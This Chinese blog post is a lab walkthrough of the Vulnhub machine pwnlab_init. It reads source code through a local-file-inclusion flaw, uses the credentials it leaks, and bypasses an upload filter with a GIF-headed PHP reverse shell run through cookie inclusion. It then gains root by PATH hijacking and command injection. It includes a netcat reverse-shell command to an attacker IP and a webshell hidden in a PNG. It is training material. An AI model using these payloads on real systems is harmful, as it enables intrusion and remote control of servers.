• 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

    靶场地址


    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月21日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    一、梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    二、web突破

    1、服务发现

    在这里插入图片描述
    在这里插入图片描述

    发现了一个盐值
    我们先进行web层面的分析

    2、web突破

    nikto -h 192.168.247.149
    curl http://192.168.247.149
    

    在这里插入图片描述发现了三个目录,以此访问,得到如下结论(图不小心删了,对不起 。。)

    首先,这是个web页面,要先进行信息收集
    其次,这是个登录框(考虑sql注入,密码爆破,弱口令)
    第三,这个url很明显将页面的变换变成了变量参数的变化,那么这种情况下,就可能存在sql注入,或者LFI
    在这里插入图片描述

    LFI(本地文件包含)

    LFI产生的原因是由于程序员未对用户可控变量进行输入检查,此漏洞的影响可能导致泄露服务器上的敏感文件,如若攻击者能够通过其他方式在Web服务器上放置代码(一般以文件上传的方式来体现),那么他们便可以执行任意命令

    存在的意义
    php这类文件我们在前端是查看不了的,我们只配知道他运行之后的结果,而不配知道他的具体细节。LFI利用php伪协议就可以解决这个问题

    典型漏洞代码

    单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。

    在这里插入图片描述

    先看看这个config.php
    可以正常访问但是没有回显,大概率这个php有东西但是看不到,再一看url,欧呦,典型的LFI,那我们就进行尝试

    http://10.211.55.46/?page=php://filter/convert.base64-encode/resource=config
    

    下图就把文件信息按照base64编码输出出来了,这一串应该也很好理解

    在这里插入图片描述

    解码之后

    <?php
    $server	  = "localhost";
    $username = "root";
    $password = "H4u%QJ_H99";
    $database = "Users";
    ?>
    

    mysql信息收集

    登录mysql

    mysql -uroot -pH4u%QJ_H99 -h 192.168.247.149
    

    在数据库里一顿查找,查找到了三个用户名以及密码

    在这里插入图片描述在这里插入图片描述

    kent 	JWzXuBJJNy
    mike	SIfdsTEn6I
    kane 	iSv5Ym2GRo
    

    登陆上去

    在这里插入图片描述

    一个文件上传的接口,按照之前的项目直接来,加一个GIF89a的头先干他一下。

    然后先等等,先把其他页面的也查看一下

    index页面
    http://192.168.247.149/?page=php://filter/convert.base64-encode/resource=index
    
    <?php
    //Multilingual. Not implemented yet.
    //setcookie("lang","en.lang.php");
    if (isset($_COOKIE['lang']))
    {
    	include("lang/".$_COOKIE['lang']);
    }
    // Not implemented yet.
    ?>
    <html>
    <head>
    <title>PwnLab Intranet Image Hosting</title>
    </head>
    <body>
    <center>
    <img src="images/pwnlab.png"><br />
    [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
    <hr/><br/>
    <?php
    	if (isset($_GET['page']))
    	{
    		include($_GET['page'].".php");
    	}
    	else
    	{
    		echo "Use this server to upload and share image files inside the intranet";
    	}
    ?>
    </center>
    </body>
    </html>
    
    if (isset($_COOKIE['lang']))
    {
    	include("lang/".$_COOKIE['lang']);
    }
    
    这一串代码是说明把
    
    upload页面

    这是一个检验上传的文件,并且如何执行报错的文件

    http://192.168.247.149/?page=php://filter/convert.base64-encode/resource=upload
    
    <?php
    session_start();
    if (!isset($_SESSION['user'])) { die('You must be log in.'); }
    ?>
    <html>
    	<body>
    		<form action='' method='post' enctype='multipart/form-data'>
    			<input type='file' name='file' id='file' />
    			<input type='submit' name='submit' value='Upload'/>
    		</form>
    	</body>
    </html>
    <?php 
    if(isset($_POST['submit'])) {
    	if ($_FILES['file']['error'] <= 0) {
    		$filename  = $_FILES['file']['name'];
    		$filetype  = $_FILES['file']['type'];
    		$uploaddir = 'upload/';
    		$file_ext  = strrchr($filename, '.');
    		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
    		$whitelist = array(".jpg",".jpeg",".gif",".png"); 
    
    		if (!(in_array($file_ext, $whitelist))) {
    			die('Not allowed extension, please upload images only.');
    		}
    
    		if(strpos($filetype,'image') === false) {
    			die('Error 001');
    		}
    
    		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
    			die('Error 002');
    		}
    
    		if(substr_count($filetype, '/')>1){
    			die('Error 003');
    		}
    
    		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
    
    		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
    			echo ".$uploadfile."\">
    "
    ; } else { die('Error 4'); } } } ?>
    具体分析各部分
    限制了白名单
    		$whitelist = array(".jpg",".jpeg",".gif",".png"); 
    
    		if (!(in_array($file_ext, $whitelist))) {
    			die('Not allowed extension, please upload images only.');
    
    如果解析出来不是文件格式就报错
    if(strpos($filetype,'image') === false) {
    			die('Error 001');
    
    文件名与文件类型的双向验证
    	if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
    			die('Error 002');
    
    拒绝/,抵抗目录遍历
    		if(substr_count($filetype, '/')>1){
    			die('Error 003');
    

    此时此刻我们知道了我们上传的文件不仅仅需要后缀名绕过,也需要文件类型绕过,相对比较严格

    文件上传突破

    cp /usr/share/webshells/php/php-reverse-shell.php .
    mv php-reverse-shell.php rong.php
    在php文件头上放一个GIF头,来完成文件类型验证
    mv rong.php rong.php.gif
    

    upload/f3c697838a7e6b1c6406bb5b246e553f.gif

    上传成功,右键源码可以看到文件上传地址,或者利用nurpsuit来获取上传之后的地址

    读取突破

    然后我们直接访问这个地址没有用,可能是因为限制的问题,我们在外面访问不到。
    这个时候就想一下之前源码审计的时候,有啥

    if (isset($_COOKIE['lang']))
    {
    	include("lang/".$_COOKIE['lang']);
    

    看看这个显眼的include,那不就懂了?只要有一个变量叫lang,然后传给cookie,就会被include。那就是文件包含,那么我们要么burpsuit抓包修改cookie数值,要么使用curl直接干

    curl 192.168.247.129 -H "Cookie: lang=../upload/f3c697838a7e6b1c6406bb5b246e553f.gif"
    
    

    在这里插入图片描述

    三、提权

    说话之前,先上传提权三脚本,然后再经典三问

    uname -a
    find  / -perm -4000 2>/dev/null    ---查看有无特权文件
    sudo -l      -看看能否sudo提权
    

    在这里插入图片描述

    发现啥也没有

    在这里插入图片描述

    看一下目录下的文件,发现了一个文件时mike权限,很奇怪,运行一下

    在这里插入图片描述在这里插入图片描述

    最后一行代码的意思是使用mike的权限执行cat
    /home/mike/msg.txt,直接执行提示没有cat,那就新建一个cat命令,执行bash命令

    echo /bin/bash > cat    ---创建一个shell命令的文件:/bin/sh
    chmod 777 cat           ---赋权
    export PATH=/tmp:$PATH  ---赋予tmp目录环境变量
    cd && ./msgmike
    

    在这里插入图片描述在这里插入图片描述

    倒数第二行这里是命令注入
    asprintf:当成功时函数返回打印的字符长度,类似sprintf函数,如果内存空间不足或其他错误返回-1
    这里的意思就是使用bin目录下的echo利用root权限写入到root目录下的messahes.txt
    从而构成了一个可以提权的命令执行
    那我们直接执行他,然后就可以命令执行

    ./msg2root
    Message for root: cd && /bin/sh
    
    

    在这里插入图片描述

    四、拓展

    
    1)sqlmap带账号密码爆破
    sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --dump -T users -D Users
    
    测试写入权限:
    sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --current-user --is-dba
    由于当前用户不是DBA,无法通过MySQL ROOT 帐户写入文件!
    
    2)最小图片技巧
    去png-pixel.com下载一个简单的1x1像素PNG:
    https://infosecjohn.blog/posts/vulnhub-pwnlab/
    
    将我的simple-backdoor.php代码附加到它的末尾:
    cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-ffffff7f.png
    
    上传:
    upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png
    
    curl --output - -b lang=../upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png http://10.211.55.46/index.php?cmd=ls
    
    curl --output - -b lang=../upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png http://10.211.55.47/index.php?cmd=/bin/nc+-e+/bin/sh+10.211.55.19+9999
    
    
    

    总结

    1.对于可执行文件,我们要学会利用ida,gdb,odb等工具进行逆向分析

  • 相关阅读:
    Scala学习:类和对象
    promise defer的使用方法
    若依对SpringSecurity框架的运用
    nginx中deny和allow详解
    顺序表与链表(下)
    java.lang.Float类下toString()方法具有什么功能呢?
    Java之IO属性集(Properties)
    js创建对象的几种设计模式
    13【触发器】
    刷题记录:牛客NC201628纸牌游戏
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/126952183